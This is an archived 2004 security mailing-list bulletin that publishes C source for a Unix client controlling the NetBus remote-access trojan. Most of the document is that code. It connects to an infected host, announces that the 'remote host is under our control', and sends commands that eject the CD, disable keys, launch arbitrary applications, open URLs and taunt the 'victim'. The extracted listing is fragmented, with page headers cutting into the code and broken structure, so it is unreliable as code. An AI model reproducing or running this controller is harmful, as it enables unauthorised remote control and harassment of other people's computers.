

[TOOL] NetBus UNIX Ported Client

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0007.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/01/04

To: list@securiteam.com

Date: 1 Jan 2004 18:06:26 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

NetBus UNIX Ported Client

DETAILS

The following tool is NetBus's client portion of the product, allowing UNIX machines to control a remote NetBus host without requiring access to a Windows machine.

Tool source:

```
/* netbus-client.c copyright (c) konewka <crackhead88@wp.pl>
```

```
* Tested against NetBus 1.7
```

```
* Compile: gcc netbus-client.c -o netbus -lncurses
```

```
* Version 0.4:
```

```
* -fixed window scrolling.
```

```
* -added new features – msg, app, url, info.
```

```
*/
```

```
#include <stdio.h>
```

```
#include <ncurses.h>
```

```
#include <netdb.h>
```

```
#include <netinet/in.h>
```

```
#include <sys/socket.h>
```

```
#include <sys/types.h>
```

```
#include <string.h>
```

```
#include <arpa/inet.h>
```

```
#include <unistd.h>
```

```

#include <stdlib.h>

#define PORT 12345
#define VER "0.4"

#define fatal(x...) do { fprintf(stderr, "[!] ERROR: " x); exit(0); }
while (0);

int isnetbus(int sock);
void mainloop(int sock, char* vict);
char* sendsock(int sock, char* msg);

void mainloop(int sock, char* vict) {
    WINDOW *win1;
    int rows, cols, i, x = 1, y = 0, prompt;
    char buff[128], cmd[300], tmp[256];

    initscr();
    getmaxyx(stdscr, rows, cols);
    win1 = newwin(rows-4, cols-2, 3, 1);
    box(stdscr, '|', '-');
    refresh(); wrefresh(win1);
    mvprintw(stdscr, 1, 1, "NetBus Client v%s by konewka - [Connected to
%s:%d]", VER, vict, PORT);
    for (i=1;i<cols-1;i++)
    mvprintw(stdscr, 2, i, "-");
    refresh();
    scrollok(win1, TRUE);
    idlok(win1, FALSE);

    /* print welcome prompt */
    mvprintw(win1, 0, 0, "Remote host is under our control. type „help"
or „?“ for commands.");

    wmove(win1, x, y);
    wrefresh(win1);
    while (1) {
    prompt = 1, i = 0;
    wgetstr(win1, buff);

    if (!strcmp(buff, "quit") || !strcmp(buff, "q"))
        break;
    else if (!strcmp(buff, "help") || !strcmp(buff, "?")) {
        mvprintw(win1, x+=1, 0, "Commands:");
        mvprintw(win1, x+=1, 0, "ejectcd - eject victim's cd.");
        mvprintw(win1, x+=1, 0, "closecd - close cd.");
        mvprintw(win1, x+=1, 0, "swapbon - swap mouse buttons.");
        mvprintw(win1, x+=1, 0, "swapboff - turn off button swap.");
        mvprintw(win1, x+=1, 0, "dkeys - disable specific keys.");
        mvprintw(win1, x+=1, 0, "ekeys - enable all keys.");
        mvprintw(win1, x+=1, 0, "app - run specific app.");
    }
    }
}

```

Securiteam: [TOOL] NetBus UNIX Ported Client

```

mvwprintw(win1, x+=1, 0, "url – open url on remote host.");
mvwprintw(win1, x+=1, 0, "msg – send message to idiot.");
mvwprintw(win1, x+=1, 0, "info – recieve server info.");
mvwprintw(win1, x+=1, 0, "quit – stop !\n");
prompt = 0;
}
else if (!strcmp(buff, "ejectcd"))
    snprintf(cmd, sizeof(cmd), "Eject;1;\r\n");
else if (!strcmp(buff, "closecd"))
    snprintf(cmd, sizeof(cmd), "Eject;0;\r\n");
else if (!strcmp(buff, "swapbon"))
    snprintf(cmd, sizeof(cmd), "SwapButton;1;\r\n");
else if (!strcmp(buff, "swapboff"))
    snprintf(cmd, sizeof(cmd), "SwapButton;0;\r\n");
else if (!strcmp(buff, "url")) {
    mvwprintw(win1, x+=1, 0, "[*] Enter URL: ");
    wgetstr(win1, tmp);
    if (strlen(tmp) < 5) {
        mvwprintw(win1, x+=1, 0, "[!] URL is too short (?)\n");
        prompt = 0;
    }
    else
        snprintf(cmd, sizeof(cmd), "URL;%s;\r\n", tmp);
}
else if (!strcmp(buff, "app")) {
    mvwprintw(win1, x+=1, 0, "[*] Enter app name (e.g. command): ");
    wgetstr(win1, tmp);
    snprintf(cmd, sizeof(cmd), "StartApp;%s;\r\n", tmp);
}
else if (!strcmp(buff, "dkeys")) {
    mvwprintw(win1, x+=1, 0, "[*] Which keys you want to disable (e.g.
foo): ");
    wgetstr(win1, tmp);
    snprintf(cmd, sizeof(cmd), "DisableKeys;1;%s;\r\n", tmp);
}
else if (!strcmp(buff, "ekeys"))
    snprintf(cmd, sizeof(cmd), "DisableKeys;0;\r\n");
else if (!strcmp(buff, "msg")) {
    mvwprintw(win1, x+=1, 0, "[*] Enter your message: ");
    wgetstr(win1, tmp);
    snprintf(cmd, sizeof(cmd), "Message;0;%s;Warning;48;\r\n", tmp);
}
else if (!strcmp(buff, "info")) {
    snprintf(cmd, sizeof(cmd), "GetInfo;\r\n");
    mvwprintw(win1, x+=1, 0, "[=>] %s", sendsock(sock, cmd));
    if (recv(sock, tmp, sizeof(tmp), 0) < 0)
        fatal("recv()\n");
    mvwprintw(win1, x+=1, 0, "%s", tmp);
    wrefresh(win1);
    prompt = 0;
}
}

```

```

else {
    mvwprintw(win1, x+=1, 0, "What ? You need help.\n");
    prompt = 0;
}

if (prompt)
    mvwprintw(win1, x+=1, 0, "[=>] %s\n", sendsock(sock, cmd));
x+=1;
if (x > rows) {
    wclear(win1);
    x = 0;
}
wrefresh(win1);
bzero(cmd, sizeof(cmd));
bzero(buff, sizeof(buff));
bzero(tmp, sizeof(tmp));
}

close(sock);
endwin();
exit(0);
}

int isnetbus(int sock) {
    char tmp[128] = "";

    if (recv(sock, tmp, sizeof(tmp), 0) < 0)
        fatal("recv() error, can't continue.\n");

    if (!strstr(tmp, "NetBus"))
        return 1;
    else
        return 0;
}

char* sendsock(int sock, char* msg) {
    if (write(sock, msg, strlen(msg)) < 0) {
        endwin();
        fatal("write() to socket failed.\n");
    }
    else
        return "Ok .. Sent";
}

int main(int argc, char *argv[]) {
    struct sockaddr_in addr;
    struct hostent *hp;
    int sd;

    printf("NetBus client v%s by konewka <crackhead88@wp.pl>\n", VER);
    if (argc < 2) {

```

Securiteam: [TOOL] NetBus UNIX Ported Client

```
printf("usage: %s [ hostname ]\n", argv[0]);
return 1;
}

if (!(hp = gethostbyname(argv[1])))
fatal("Host not found.\n");

memset((char *)&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
memcpy((char *)&addr.sin_addr, hp->h_addr, hp->h_length);

if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
fatal("Can't create socket (?).\n");

if (connect(sd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
fatal("Can't connect.\n");

/* show must go on .. */
if (!isnetbus(sd)) {
printf("Host seems to running NetBus server, entering ncurses mode
\n");
printf("Press return\n");
getchar();
mainloop(sd, (char *)inet_ntoa(addr.sin_addr));
}
else
fatal("Host is not running NetBus (fake?)\n");

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:crackhead88@wp.pl> konewka.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.